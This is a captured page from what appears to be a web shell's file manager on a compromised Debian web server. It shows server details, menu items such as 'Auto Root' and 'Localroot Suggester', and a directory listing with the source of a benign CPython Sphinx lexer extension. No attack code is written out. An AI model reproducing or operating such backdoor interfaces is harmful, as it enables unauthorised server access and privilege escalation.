Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
Python-3.10.14 /
Doc /
tools /
extensions /
Delete
Unzip
Name
Size
Permission
Date
Action
asdl_highlight.py
1.45
KB
-rw-r--r--
2024-03-19 22:46
c_annotations.py
7.52
KB
-rw-r--r--
2024-03-19 22:46
escape4chm.py
1.78
KB
-rw-r--r--
2024-03-19 22:46
glossary_search.py
1.61
KB
-rw-r--r--
2024-03-19 22:46
patchlevel.py
1.91
KB
-rw-r--r--
2024-03-19 22:46
peg_highlight.py
2.74
KB
-rw-r--r--
2024-03-19 22:46
pyspecific.py
22.49
KB
-rw-r--r--
2024-03-19 22:46
suspicious.py
8.36
KB
-rw-r--r--
2024-03-19 22:46
Save
Rename
import os import sys from pathlib import Path CPYTHON_ROOT = Path(__file__).resolve().parent.parent.parent.parent sys.path.append(str(CPYTHON_ROOT / "Parser")) from pygments.lexer import RegexLexer, bygroups, include, words from pygments.token import (Comment, Generic, Keyword, Name, Operator, Punctuation, Text) from asdl import builtin_types from sphinx.highlighting import lexers class ASDLLexer(RegexLexer): name = "ASDL" aliases = ["asdl"] filenames = ["*.asdl"] _name = r"([^\W\d]\w*)" _text_ws = r"(\s*)" tokens = { "ws": [ (r"\n", Text), (r"\s+", Text), (r"--.*?$", Comment.Singleline), ], "root": [ include("ws"), ( r"(module)" + _text_ws + _name, bygroups(Keyword, Text, Name.Tag), ), ( r"(\w+)(\*\s|\?\s|\s)(\w+)", bygroups(Name.Builtin.Pseudo, Operator, Name), ), (words(builtin_types), Name.Builtin), (r"attributes", Name.Builtin), ( _name + _text_ws + "(=)", bygroups(Name, Text, Operator), ), (_name, Name.Class), (r"\|", Operator), (r"{|}|\(|\)", Punctuation), (r".", Text), ], } def setup(app): lexers["asdl"] = ASDLLexer() return {'version': '1.0', 'parallel_read_safe': True}